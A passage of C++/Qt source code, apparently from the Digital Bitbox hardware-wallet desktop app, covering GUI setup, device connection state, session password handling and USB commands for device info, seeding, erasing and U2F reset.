connect(this, SIGNAL(shouldVerifySigning(DBBWallet*, const UniValue&, int, const std::string&)), this, SLOT(showEchoVerification(DBBWallet*, const UniValue&, int, const std::string&)));
connect(this, SIGNAL(shouldHideVerificationInfo()), this, SLOT(hideVerificationInfo()));
connect(this, SIGNAL(signedProposalAvailable(DBBWallet*, const UniValue&, const std::vector<std::string>&)), this, SLOT(postSignaturesForPaymentProposal(DBBWallet*, const UniValue&, const std::vector<std::string>&)));
connect(this, SIGNAL(getWalletsResponseAvailable(DBBWallet*, bool, const std::string&, bool)), this, SLOT(parseWalletsResponse(DBBWallet*, bool, const std::string&, bool)));
connect(this, SIGNAL(getTransactionHistoryAvailable(DBBWallet*, bool, const UniValue&)), this, SLOT(updateTransactionTable(DBBWallet*, bool, const UniValue&)));
connect(this, SIGNAL(shouldUpdateWallet(DBBWallet*)), this, SLOT(updateWallet(DBBWallet*)));
connect(this, SIGNAL(walletAddressIsAvailable(DBBWallet*,const std::string &,const std::string &)), this, SLOT(updateReceivingAddress(DBBWallet*,const std::string&,const std::string &)));
connect(this, SIGNAL(paymentProposalUpdated(DBBWallet*,const UniValue&)), this, SLOT(reportPaymentProposalPost(DBBWallet*,const UniValue&)));
connect(this, SIGNAL(firmwareThreadDone(bool)), this, SLOT(upgradeFirmwareDone(bool)));
connect(this, SIGNAL(shouldUpdateModalInfo(const QString&)), this, SLOT(updateModalInfo(const QString&)));
connect(this, SIGNAL(shouldHideModalInfo()), this, SLOT(hideModalInfo()));
connect(this, SIGNAL(createTxProposalDone(DBBWallet *, const QString&, const UniValue&)), this, SLOT(PaymentProposalAction(DBBWallet*,const QString&, const UniValue&)));
connect(this, SIGNAL(shouldShowAlert(const QString&,const QString&)), this, SLOT(showAlert(const QString&,const QString&)));
connect(this, SIGNAL(changeNetLoading(bool)), this, SLOT(setNetLoading(bool)));
connect(this, SIGNAL(joinCopayWalletDone(DBBWallet*)), this, SLOT(joinCopayWalletComplete(DBBWallet*)));
connect(this, SIGNAL(comServerIncommingMessage(const QString&)), this, SLOT(comServerMessageParse(const QString&)));
// create backup dialog instance
backupDialog = new BackupDialog(0);
connect(backupDialog, SIGNAL(addBackup()), this, SLOT(addBackup()));
connect(backupDialog, SIGNAL(verifyBackup(const QString&)), this, SLOT(verifyBackup(const QString&)));
connect(backupDialog, SIGNAL(eraseAllBackups()), this, SLOT(eraseAllBackups()));
connect(backupDialog, SIGNAL(eraseBackup(const QString&)), this, SLOT(eraseBackup(const QString&)));
connect(backupDialog, SIGNAL(restoreFromBackup(const QString&)), this, SLOT(restoreBackup(const QString&)));
// create get address dialog
getAddressDialog = new GetAddressDialog(0);
connect(getAddressDialog, SIGNAL(shouldGetXPub(const QString&)), this, SLOT(getAddressGetXPub(const QString&)));
connect(getAddressDialog, SIGNAL(verifyGetAddress(const QString&)), this, SLOT(getAddressVerify(const QString&)));
// connect direct reload lambda
connect(this, &DBBDaemonGui::reloadGetinfo, this, [this]() {
// use action as you wish
resetInfos();
getInfo();
});
//set window icon
QApplication::setWindowIcon(QIcon(":/icons/dbb_icon"));
//: translation: window title
setWindowTitle(tr("Digital Bitbox") + (DBB_USE_TESTNET ? " ---TESTNET---" : ""));
statusBar()->setStyleSheet("background: transparent;");
this->statusBarButton = new QPushButton(QIcon(":/icons/connected"), "");
this->statusBarButton->setEnabled(false);
this->statusBarButton->setFlat(true);
this->statusBarButton->setMaximumWidth(18);
this->statusBarButton->setMaximumHeight(18);
this->statusBarButton->setVisible(false);
statusBar()->addWidget(this->statusBarButton);
QIcon vDeviceIcon;
vDeviceIcon.addPixmap(QPixmap(":/icons/devicephone"), QIcon::Normal);
vDeviceIcon.addPixmap(QPixmap(":/icons/devicephone"), QIcon::Disabled);
this->statusBarVDeviceIcon = new QPushButton(vDeviceIcon, "");
this->statusBarVDeviceIcon->setEnabled(false);
this->statusBarVDeviceIcon->setFlat(true);
this->statusBarVDeviceIcon->setMaximumWidth(18);
this->statusBarVDeviceIcon->setMaximumHeight(18);
this->statusBarVDeviceIcon->setVisible(false);
this->statusBarVDeviceIcon->setToolTip(tr("Verification Devices"));
QIcon netActivityIcon;
netActivityIcon.addPixmap(QPixmap(":/icons/netactivity"), QIcon::Normal);
netActivityIcon.addPixmap(QPixmap(":/icons/netactivity"), QIcon::Disabled);
this->statusBarNetIcon = new QPushButton(netActivityIcon, "");
this->statusBarNetIcon->setEnabled(false);
this->statusBarNetIcon->setFlat(true);
this->statusBarNetIcon->setMaximumWidth(18);
this->statusBarNetIcon->setMaximumHeight(18);
this->statusBarNetIcon->setVisible(false);
this->statusBarNetIcon->setToolTip(tr("Internet Activity Indicator"));
QIcon usbActivityIcon;
usbActivityIcon.addPixmap(QPixmap(":/icons/usbactivity"), QIcon::Normal);
usbActivityIcon.addPixmap(QPixmap(":/icons/usbactivity"), QIcon::Disabled);
this->statusBarUSBIcon = new QPushButton(usbActivityIcon, "");
this->statusBarUSBIcon->setEnabled(false);
this->statusBarUSBIcon->setFlat(true);
this->statusBarUSBIcon->setMaximumWidth(18);
this->statusBarUSBIcon->setMaximumHeight(18);
this->statusBarUSBIcon->setVisible(false);
this->statusBarUSBIcon->setToolTip(tr("USB Communication Activity Indicator"));
//: translation: status bar info in case of no device has been found
this->statusBarLabelLeft = new QLabel(tr("No Device Found"));
statusBar()->addWidget(this->statusBarLabelLeft);
this->statusBarLabelRight = new QLabel("");
statusBar()->addPermanentWidget(this->statusBarNetIcon);
statusBar()->addPermanentWidget(this->statusBarUSBIcon);
statusBar()->addPermanentWidget(this->statusBarVDeviceIcon);
if (!netActivityAnimation) {
QGraphicsOpacityEffect* eff = new QGraphicsOpacityEffect(this);
this->statusBarNetIcon->setGraphicsEffect(eff);
netActivityAnimation = new QPropertyAnimation(eff, "opacity");
netActivityAnimation->setDuration(1000);
netActivityAnimation->setKeyValueAt(0, 0.3);
netActivityAnimation->setKeyValueAt(0.5, 1.0);
netActivityAnimation->setKeyValueAt(1, 0.3);
netActivityAnimation->setEasingCurve(QEasingCurve::OutQuad);
netActivityAnimation->setLoopCount(-1);
netActivityAnimation->start(QAbstractAnimation::DeleteWhenStopped);
}
if (!usbActivityAnimation) {
QGraphicsOpacityEffect* eff = new QGraphicsOpacityEffect(this);
this->statusBarUSBIcon->setGraphicsEffect(eff);
usbActivityAnimation = new QPropertyAnimation(eff, "opacity");
usbActivityAnimation->setDuration(1000);
usbActivityAnimation->setKeyValueAt(0, 0.3);
usbActivityAnimation->setKeyValueAt(0.5, 1.0);
usbActivityAnimation->setKeyValueAt(1, 0.3);
usbActivityAnimation->setEasingCurve(QEasingCurve::OutQuad);
usbActivityAnimation->setLoopCount(-1);
usbActivityAnimation->start(QAbstractAnimation::DeleteWhenStopped);
}
if (!verificationActivityAnimation) {
QGraphicsOpacityEffect* eff = new QGraphicsOpacityEffect(this);
this->statusBarVDeviceIcon->setGraphicsEffect(eff);
verificationActivityAnimation = new QPropertyAnimation(eff, "opacity");
verificationActivityAnimation->setDuration(150);
verificationActivityAnimation->setKeyValueAt(0, 1.0);
verificationActivityAnimation->setKeyValueAt(0.5, 0.3);
verificationActivityAnimation->setKeyValueAt(1, 1.0);
verificationActivityAnimation->setLoopCount(8);
delete eff;
}
// Set the tx fee tooltips
this->ui->feeLevel->setItemData(0, "Confirms as soon as possible", Qt::ToolTipRole);
this->ui->feeLevel->setItemData(1, "Confirms ~30 minutes", Qt::ToolTipRole);
this->ui->feeLevel->setItemData(2, "Confirms ~1 hour", Qt::ToolTipRole);
this->ui->feeLevel->setItemData(3, "Confirms ~4 hours", Qt::ToolTipRole);
connect(this->ui->overviewButton, SIGNAL(clicked()), this, SLOT(mainOverviewButtonClicked()));
connect(this->ui->multisigButton, SIGNAL(clicked()), this, SLOT(mainMultisigButtonClicked()));
connect(this->ui->receiveButton, SIGNAL(clicked()), this, SLOT(mainReceiveButtonClicked()));
connect(this->ui->sendButton, SIGNAL(clicked()), this, SLOT(mainSendButtonClicked()));
connect(this->ui->mainSettingsButton, SIGNAL(clicked()), this, SLOT(mainSettingsButtonClicked()));
//login screen setup
this->ui->blockerView->setVisible(false);
connect(this->ui->passwordLineEdit, SIGNAL(returnPressed()), this, SLOT(passwordProvided()));
//set password screen
connect(this->ui->modalBlockerView, SIGNAL(newPasswordAvailable(const QString&, const QString&)), this, SLOT(setPasswordProvided(const QString&, const QString&)));
connect(this->ui->modalBlockerView, SIGNAL(newDeviceNamePasswordAvailable(const QString&, const QString&)), this, SLOT(setDeviceNamePasswordProvided(const QString&, const QString&)));
connect(this->ui->modalBlockerView, SIGNAL(newDeviceNameAvailable(const QString&)), this, SLOT(setDeviceNameProvided(const QString&)));
connect(this->ui->modalBlockerView, SIGNAL(signingShouldProceed(const QString&, void *, const UniValue&, int)), this, SLOT(proceedVerification(const QString&, void *, const UniValue&, int)));
connect(this->ui->modalBlockerView, SIGNAL(shouldUpgradeFirmware()), this, SLOT(upgradeFirmwareButton()));
//modal general signals
connect(this->ui->modalBlockerView, SIGNAL(modalViewWillShowHide(bool)), this, SLOT(modalStateChanged(bool)));
//get the default data dir
std::string dataDir = DBB::GetDefaultDBBDataDir();
//load the configuration file
configData = new DBB::DBBConfigdata(dataDir+"/config.dat");
configData->read();
//create the single and multisig wallet
singleWallet = new DBBWallet(dataDir, DBB_USE_TESTNET);
singleWallet->setBaseKeypath(DBB::GetArg("-keypath", DBB_USE_TESTNET ? "m/44'/1'/0'" : "m/44'/0'/0'"));
DBBWallet* copayWallet = new DBBWallet(dataDir, DBB_USE_TESTNET);
copayWallet->setBaseKeypath(DBB::GetArg("-mskeypath","m/100'/45'/0'"));
this->ui->noProposalsAvailable->setVisible(false);
#if defined(__linux__) || defined(__unix__)
singleWallet->setCAFile(ca_file);
copayWallet->setCAFile(ca_file);
checkUDevRule();
#endif
singleWallet->setSocks5ProxyURL(configData->getSocks5ProxyURL());
copayWallet->setSocks5ProxyURL(configData->getSocks5ProxyURL());
vMultisigWallets.push_back(copayWallet);
updateSettings(); //update backends
processCommand = false;
deviceConnected = false;
resetInfos();
//set status bar connection status
uiUpdateDeviceState();
std::string devicePath;
changeConnectedState(DBB::isConnectionOpen(), DBB::deviceAvailable(devicePath));
//connect the device status update at very last point in init
connect(this, SIGNAL(deviceStateHasChanged(bool, int)), this, SLOT(changeConnectedState(bool, int)));
//connect to the com server
comServer = new DBBComServer(configData->getComServerURL());
comServer->setSocks5ProxyURL(configData->getSocks5ProxyURL());
#if defined(__linux__) || defined(__unix__)
// set the CA file in case we are compliling for linux
comServer->setCAFile(ca_file);
#endif
comServer->setParseMessageCB(comServerCallback, this);
if (configData->getComServerChannelID().size() > 0)
{
comServer->setChannelID(configData->getComServerChannelID());
comServer->setEncryptionKey(configData->getComServerEncryptionKey());
comServer->startLongPollThread();
pingComServer();
}
walletUpdateTimer = new QTimer(this);
connect(walletUpdateTimer, SIGNAL(timeout()), this, SLOT(updateTimerFired()));
updateManager = new DBBUpdateManager();
updateManager->setSocks5ProxyURL(configData->getSocks5ProxyURL());
#if defined(__linux__) || defined(__unix__)
updateManager->setCAFile(ca_file);
#endif
connect(ui->checkForUpdates, SIGNAL(clicked()), updateManager, SLOT(checkForUpdate()));
connect(updateManager, SIGNAL(updateButtonSetAvailable(bool)), this, SLOT(updateButtonSetAvailable(bool)));
QTimer::singleShot(200, updateManager, SLOT(checkForUpdateInBackground()));
}
/*
/////////////////////////////
Plug / Unplug / GetInfo stack
/////////////////////////////
*/
#pragma mark plug / unpluag stack
void DBBDaemonGui::deviceIsReadyToInteract()
{
DBB::LogPrint("Device is ready to interact\n", "");
//update multisig wallet data
MultisigUpdateWallets();
SingleWalletUpdateWallets();
deviceReadyToInteract = true;
if (singleWallet->client.IsSeeded())
walletUpdateTimer->start(WALLET_POLL_TIME);
}
void DBBDaemonGui::changeConnectedState(bool state, int deviceType)
{
bool stateChanged = deviceConnected != state;
if (!state && deviceType != DBB::DBB_DEVICE_NO_DEVICE && deviceType != DBB::DBB_DEVICE_UNKNOWN)
this->ui->noDeviceConnectedLabel->setText(tr("Device occupied by another program."));
else
this->ui->noDeviceConnectedLabel->setText(tr("No device connected."));
// special case for firmware upgrades
if (upgradeFirmwareState && stateChanged)
{
deviceConnected = state;
if (deviceType == DBB::DBB_DEVICE_MODE_BOOTLOADER && state)
upgradeFirmwareWithFile(firmwareFileToUse);
return;
}
if (stateChanged) {
if (state && (deviceType == DBB::DBB_DEVICE_MODE_FIRMWARE || deviceType == DBB::DBB_DEVICE_MODE_FIRMWARE_NO_PASSWORD || deviceType == DBB::DBB_DEVICE_MODE_FIRMWARE_U2F || deviceType == DBB::DBB_DEVICE_MODE_FIRMWARE_U2F_NO_PASSWORD)) {
deviceConnected = true;
//: translation: device connected status bar
DBB::LogPrint("Device connected\n", "");
this->statusBarLabelLeft->setText(tr("Device Connected"));
this->statusBarButton->setVisible(true);
}
else if (state && deviceType == DBB::DBB_DEVICE_MODE_BOOTLOADER && !upgradeFirmwareState) {
// bricked, bootloader device found, ask for upgrading the firmware
this->ui->noDeviceConnectedLabel->setText(tr("<b>The device is in bootloader mode.</b><br><br>To enter normal mode, replug the device and do not press the touch button. If a firmware upgrade errored, try upgrading again.<br><br><a href=\"up\">Upgrade now.</a>"));
this->ui->noDeviceConnectedLabel->setWordWrap(true);
this->ui->noDeviceIcon->setVisible(false);
}
else {
deviceConnected = false;
DBB::LogPrint("Device disconnected\n", "");
this->statusBarLabelLeft->setText(tr("No Device Found"));
this->statusBarButton->setVisible(false);
this->ui->noDeviceIcon->setVisible(true);
}
uiUpdateDeviceState(deviceType);
}
}
void DBBDaemonGui::setTabbarEnabled(bool status)
{
this->ui->menuBlocker->setVisible(!status);
this->ui->overviewButton->setEnabled(status);
this->ui->receiveButton->setEnabled(status);
this->ui->sendButton->setEnabled(status);
this->ui->mainSettingsButton->setEnabled(status);
this->ui->multisigButton->setEnabled(status);
}
void DBBDaemonGui::setLoading(bool status)
{
if (!status && touchButtonInfo)
{
hideModalInfo();
touchButtonInfo = false;
}
//: translation: status bar info text during the time of USB communication
this->statusBarLabelRight->setText((status) ? tr("processing...") : "");
this->statusBarUSBIcon->setVisible(status);
//: translation: login screen info text during password USB check (device info)
this->ui->unlockingInfo->setText((status) ? tr("Unlocking Device...") : "");
}
void DBBDaemonGui::setNetLoading(bool status)
{
//: translation: status bar info text during network activity (copay)
this->statusBarLabelRight->setText((status) ? tr("loading...") : "");
this->statusBarNetIcon->setVisible(status);
}
void DBBDaemonGui::resetInfos()
{
//: translation: info text for version and device name during loading getinfo
this->ui->versionLabel->setText(tr("loading info..."));
this->ui->deviceNameLabel->setText(tr("loading info..."));
updateOverviewFlags(false, false, true);
//reset single wallet UI
this->ui->tableWidget->setModel(NULL);
this->ui->balanceLabel->setText("");
this->ui->singleWalletBalance->setText("");
this->ui->qrCode->setIcon(QIcon());
this->ui->qrCode->setToolTip("");
this->ui->keypathLabel->setText("");
this->ui->currentAddress->setText("");
//reset multisig wallet UI
hidePaymentProposalsWidget();
this->ui->noProposalsAvailable->setVisible(false);
}
void DBBDaemonGui::uiUpdateDeviceState(int deviceType)
{
this->ui->verticalLayoutWidget->setVisible(deviceConnected);
this->ui->balanceLabel->setVisible(deviceConnected);
this->ui->noDeviceWidget->setVisible(!deviceConnected);
if (!deviceConnected) {
gotoOverviewPage();
setActiveArrow(0);
resetInfos();
sessionPassword.clear();
hideSessionPasswordView();
setTabbarEnabled(false);
deviceReadyToInteract = false;
cachedWalletAvailableState = false;
initialWalletSeeding = false;
cachedDeviceLock = false;
//hide modal dialog and abort possible ecdh pairing
hideModalInfo();
//clear some infos
sdcardWarned = false;
//remove the wallets
singleWallet->client.setNull();
vMultisigWallets[0]->client.setNull();
if (walletUpdateTimer)
walletUpdateTimer->stop();
netLoaded = false;
} else {
if (deviceType == DBB::DBB_DEVICE_MODE_FIRMWARE || deviceType == DBB::DBB_DEVICE_MODE_FIRMWARE_U2F)
{
hideModalInfo();
askForSessionPassword();
}
else if (deviceType == DBB::DBB_DEVICE_MODE_FIRMWARE_NO_PASSWORD || deviceType == DBB::DBB_DEVICE_MODE_FIRMWARE_U2F_NO_PASSWORD)
{
hideModalInfo();
this->ui->modalBlockerView->showSetNewWallet();
}
}
}
void DBBDaemonGui::updateTimerFired()
{
SingleWalletUpdateWallets(false);
pingComServer();
}
void DBBDaemonGui::pingComServer()
{
std::time_t now;
std::time(&now);
if (lastPing != 0 && lastPing+10 < now) {
this->statusBarVDeviceIcon->setVisible(false);
comServer->mobileAppConnected = false;
}
std::time(&lastPing);
comServer->postNotification("{ \"action\" : \"ping\" }");
}
/*
/////////////////
UI Action Stack
/////////////////
*/
#pragma mark UI Action Stack
void DBBDaemonGui::showAlert(const QString& title, const QString& errorOut, bool critical)
{
if (critical)
QMessageBox::critical(this, title, errorOut, QMessageBox::Ok);
else
QMessageBox::warning(this, title, errorOut, QMessageBox::Ok);
}
void DBBDaemonGui::setActiveArrow(int pos)
{
this->ui->activeArrow->move(pos * 96 + 40, 39);
}
void DBBDaemonGui::mainOverviewButtonClicked()
{
setActiveArrow(0);
gotoOverviewPage();
}
void DBBDaemonGui::mainMultisigButtonClicked()
{
setActiveArrow(4);
gotoMultisigPage();
}
void DBBDaemonGui::mainReceiveButtonClicked()
{
setActiveArrow(1);
gotoReceivePage();
}
void DBBDaemonGui::mainSendButtonClicked()
{
setActiveArrow(2);
gotoSendCoinsPage();
}
void DBBDaemonGui::mainSettingsButtonClicked()
{
setActiveArrow(3);
gotoSettingsPage();
}
void DBBDaemonGui::gotoOverviewPage()
{
this->ui->stackedWidget->setCurrentIndex(0);
}
void DBBDaemonGui::gotoSendCoinsPage()
{
this->ui->stackedWidget->setCurrentIndex(3);
}
void DBBDaemonGui::gotoReceivePage()
{
this->ui->stackedWidget->setCurrentIndex(4);
}
void DBBDaemonGui::gotoMultisigPage()
{
this->ui->stackedWidget->setCurrentIndex(1);
}
void DBBDaemonGui::gotoSettingsPage()
{
this->ui->stackedWidget->setCurrentIndex(2);
}
void DBBDaemonGui::showEchoVerification(DBBWallet* wallet, const UniValue& proposalData, int actionType, const std::string& echoStr)
{
// check the required amount of steps
std::vector<std::pair<std::string, std::vector<unsigned char> > > inputHashesAndPaths;
std::string serTxDummy;
UniValue changeAddressDataDummy;
wallet->client.ParseTxProposal(proposalData, changeAddressDataDummy, serTxDummy, inputHashesAndPaths);
int amountOfSteps = ceil((double)inputHashesAndPaths.size()/(double)MAX_INPUTS_PER_SIGN);
int currentStep = ceil((double)wallet->mapHashSig.size() /(double)MAX_INPUTS_PER_SIGN)+1;
if (comServer->mobileAppConnected)
{
comServer->postNotification(echoStr);
verificationActivityAnimation->start(QAbstractAnimation::KeepWhenStopped);
}
ui->modalBlockerView->setTXVerificationData(wallet, proposalData, echoStr, actionType);
ui->modalBlockerView->showTransactionVerification(cachedDeviceLock, !comServer->mobileAppConnected, currentStep, amountOfSteps);
if (!cachedDeviceLock)
{
//no follow up action required, clear TX data
ui->modalBlockerView->clearTXData();
//directly start DBB signing process
PaymentProposalAction(wallet, "", proposalData, actionType);
}
else
updateModalWithIconName(":/icons/touchhelp_smartverification");
}
void DBBDaemonGui::proceedVerification(const QString& twoFACode, void *ptr, const UniValue& proposalData, int actionType)
{
if (twoFACode.isEmpty() && ptr == NULL)
{
//cancel pressed
ui->modalBlockerView->clearTXData();
hideModalInfo();
ledClicked(DBB_LED_BLINK_MODE_ABORT);
if (comServer)
comServer->postNotification("{ \"action\" : \"clear\" }");
return;
}
updateModalWithIconName(":/icons/touchhelp");
DBBWallet *wallet = (DBBWallet *)ptr;
PaymentProposalAction(wallet, twoFACode, proposalData, actionType);
ui->modalBlockerView->clearTXData();
}
void DBBDaemonGui::hideVerificationInfo()
{
if (signConfirmationDialog) {
signConfirmationDialog->hide();
}
}
void DBBDaemonGui::passwordProvided()
{
if (sessionPassword.size() > 0)
return;
if (!loginScreenIndicatorOpacityAnimation) {
QGraphicsOpacityEffect* eff = new QGraphicsOpacityEffect(this);
this->ui->unlockingInfo->setGraphicsEffect(eff);
loginScreenIndicatorOpacityAnimation = new QPropertyAnimation(eff, "opacity");
loginScreenIndicatorOpacityAnimation->setDuration(500);
loginScreenIndicatorOpacityAnimation->setKeyValueAt(0, 0.3);
loginScreenIndicatorOpacityAnimation->setKeyValueAt(0.5, 1.0);
loginScreenIndicatorOpacityAnimation->setKeyValueAt(1, 0.3);
loginScreenIndicatorOpacityAnimation->setEasingCurve(QEasingCurve::OutQuad);
loginScreenIndicatorOpacityAnimation->setLoopCount(-1);
}
// to slide in call
loginScreenIndicatorOpacityAnimation->start(QAbstractAnimation::KeepWhenStopped);
DBB::LogPrint("Storing session password in memory\n", "");
sessionPassword = this->ui->passwordLineEdit->text().toStdString();
DBB::LogPrint("Requesting device info...\n", "");
getInfo();
}
void DBBDaemonGui::passwordAccepted()
{
hideSessionPasswordView();
this->ui->passwordLineEdit->setVisible(false);
this->ui->passwordLineEdit->setText("");
setTabbarEnabled(true);
}
void DBBDaemonGui::askForSessionPassword()
{
setLoading(false);
this->ui->blockerView->setVisible(true);
this->ui->passwordLineEdit->setVisible(true);
QWidget* slide = this->ui->blockerView;
// setup slide
slide->setGeometry(-slide->width(), 0, slide->width(), slide->height());
// then a animation:
QPropertyAnimation* animation = new QPropertyAnimation(slide, "pos");
animation->setDuration(300);
animation->setStartValue(slide->pos());
animation->setEndValue(QPoint(0, 0));
animation->setEasingCurve(QEasingCurve::OutQuad);
// to slide in call
animation->start(QAbstractAnimation::DeleteWhenStopped);
ui->passwordLineEdit->setFocus();
}
void DBBDaemonGui::hideSessionPasswordView()
{
this->ui->passwordLineEdit->setText("");
if (loginScreenIndicatorOpacityAnimation)
loginScreenIndicatorOpacityAnimation->stop();
QWidget* slide = this->ui->blockerView;
// then a animation:
QPropertyAnimation* animation = new QPropertyAnimation(slide, "pos");
animation->setDuration(300);
animation->setStartValue(slide->pos());
animation->setEndValue(QPoint(-slide->width(), 0));
animation->setEasingCurve(QEasingCurve::OutQuad);
// to slide in call
animation->start(QAbstractAnimation::DeleteWhenStopped);
}
void DBBDaemonGui::setPasswordProvided(const QString& newPassword, const QString& repeatPassword)
{
std::string command = "{\"password\" : \"" + <PASSWORD>.toStdString() + "\"}";
if (repeatPassword.toStdString() != sessionPassword) {
showModalInfo(tr("Incorrect old password"), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
return;
}
showModalInfo(tr("Saving Password"));
if (executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_PASSWORD);
}))
{
sessionPasswordDuringChangeProcess = sessionPassword;
sessionPassword = <PASSWORD>();
}
}
void DBBDaemonGui::setDeviceNamePasswordProvided(const QString& newPassword, const QString& newName)
{
tempNewDeviceName = newName;
std::string command = "{\"password\" : \"" + newPassword.toStdString() + "\"}";
showModalInfo(tr("Saving Password"));
if (executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_PASSWORD);
}))
{
sessionPasswordDuringChangeProcess = sessionPassword;
sessionPassword = <PASSWORD>.to<PASSWORD>();
}
}
void DBBDaemonGui::cleanseLoginAndSetPassword()
{
ui->modalBlockerView->cleanse();
this->ui->passwordLineEdit->clear();
}
void DBBDaemonGui::showModalInfo(const QString &info, int helpType)
{
ui->modalBlockerView->showModalInfo(info, helpType);
}
void DBBDaemonGui::updateModalInfo(const QString &info)
{
ui->modalBlockerView->setText(info);
}
void DBBDaemonGui::hideModalInfo()
{
ui->modalBlockerView->showOrHide(false);
}
void DBBDaemonGui::modalStateChanged(bool state)
{
this->ui->sendToAddress->setEnabled(!state);
this->ui->sendAmount->setEnabled(!state);
}
void DBBDaemonGui::updateModalWithQRCode(const QString& string)
{
QRcode *code = QRcode_encodeString(string.toStdString().c_str(), 0, QR_ECLEVEL_M, QR_MODE_8, 1);
QIcon icon;
QRCodeSequence::setIconFromQRCode(code, &icon, 180, 180);
ui->modalBlockerView->updateIcon(icon);
QRcode_free(code);
}
void DBBDaemonGui::updateModalWithIconName(const QString& filename)
{
QIcon newIcon;
newIcon.addPixmap(QPixmap(filename), QIcon::Normal);
newIcon.addPixmap(QPixmap(filename), QIcon::Disabled);
ui->modalBlockerView->updateIcon(newIcon);
}
void DBBDaemonGui::updateOverviewFlags(bool walletAvailable, bool lockAvailable, bool loading)
{
}
void DBBDaemonGui::updateButtonSetAvailable(bool available)
{
if (available) {
this->ui->checkForUpdates->setText(tr("Update Available"));
this->ui->checkForUpdates->setStyleSheet("font-weight: bold");
}
else {
this->ui->checkForUpdates->setText(tr("Check for Updates..."));
this->ui->checkForUpdates->setStyleSheet("font-weight: normal");
}
}
/*
//////////////////////////
DBB USB Commands (General)
//////////////////////////
*/
#pragma mark DBB USB Commands (General)
bool DBBDaemonGui::executeCommandWrapper(const std::string& cmd, const dbb_process_infolayer_style_t layerstyle, std::function<void(const std::string&, dbb_cmd_execution_status_t status)> cmdFinished, const QString& modaltext)
{
if (processCommand)
return false;
if (layerstyle == DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON) {
showModalInfo(modaltext, DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON);
touchButtonInfo = true;
}
setLoading(true);
processCommand = true;
DBB::LogPrint("Executing command...\n", "");
executeCommand(cmd, sessionPassword, cmdFinished);
return true;
}
void DBBDaemonGui::eraseClicked()
{
DBB::LogPrint("Request device erasing...\n", "");
if (executeCommandWrapper("{\"reset\":\"__ERASE__\"}", DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_ERASE);
})) {
sessionPasswordDuringChangeProcess = sessionPassword;
sessionPassword.clear();
}
}
void DBBDaemonGui::resetU2F()
{
DBB::LogPrint("Request U2F reset...\n", "");
std::string cmd("{\"reset\":\"U2F\"}");
QString version = this->ui->versionLabel->text();
if (!(version.contains(QString("v2.")) || version.contains(QString("v1.")) || version.contains(QString("v0.")))) {
// v3+ has a new api.
std::string hashHex = DBB::getStretchedBackupHexKey(sessionPassword);
cmd = std::string("{\"seed\": { \"source\": \"U2F_create\", \"key\":\""+hashHex+"\", \"filename\": \"" + getBackupString() + ".pdf\" } }");
}
if (executeCommandWrapper(cmd, DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_RESET_U2F);
})) {
}
}
void DBBDaemonGui::ledClicked(dbb_led_blink_mode_t mode)
{
std::string command;
if (mode == DBB_LED_BLINK_MODE_BLINK)
command = "{\"led\" : \"blink\"}";
else if (mode == DBB_LED_BLINK_MODE_ABORT)
command = "{\"led\" : \"abort\"}";
else
return;
executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_LED_BLINK);
});
}
void DBBDaemonGui::getInfo()
{
executeCommandWrapper("{\"device\":\"info\"}", DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_INFO);
});
}
std::string DBBDaemonGui::getBackupString()
{
auto now = std::chrono::system_clock::now();
auto in_time_t = std::chrono::system_clock::to_time_t(now);
// get device name
std::string name = deviceName.toStdString();
std::replace(name.begin(), name.end(), ' ', '_'); // default name has spaces, but spaces forbidden in backup file names
std::stringstream ss;
ss << name << "-" << DBB::putTime(in_time_t, "%Y-%m-%d-%H-%M-%S");
return ss.str();
}
void DBBDaemonGui::seedHardware()
{
if (sessionPassword.empty())
return;
std::string hashHex = DBB::getStretchedBackupHexKey(sessionPassword);
DBB::LogPrint("Request device seeding...\n", "");
std::string command = "{\"seed\" : {"
"\"source\" :\"create\","
"\"key\": \""+hashHex+"\","
"\"filename\": \"" + getBackupString() + ".pdf\""
"} }";
executeCommandWrapper(command, (cachedWalletAvailableState) ? DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON : DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_CREATE_WALLET);
}, "This will <strong>OVERWRITE</strong> your existing wallet with a new wallet.");
}
/*
/////////////////
DBB Utils
/////////////////
*/
#pragma mark DBB Utils
QString DBBDaemonGui::getIpAddress()
{
QString ipAddress;
QList<QString> possibleMatches;
QList<QNetworkInterface> ifaces = QNetworkInterface::allInterfaces();
if ( !ifaces.isEmpty() )
{
for(int i=0; i < ifaces.size(); i++)
{
unsigned int flags = ifaces[i].flags();
bool isLoopback = (bool)(flags & QNetworkInterface::IsLoopBack);
bool isP2P = (bool)(flags & QNetworkInterface::IsPointToPoint);
bool isRunning = (bool)(flags & QNetworkInterface::IsRunning);
// If this interface isn't running, we don't care about it
if ( !isRunning ) continue;
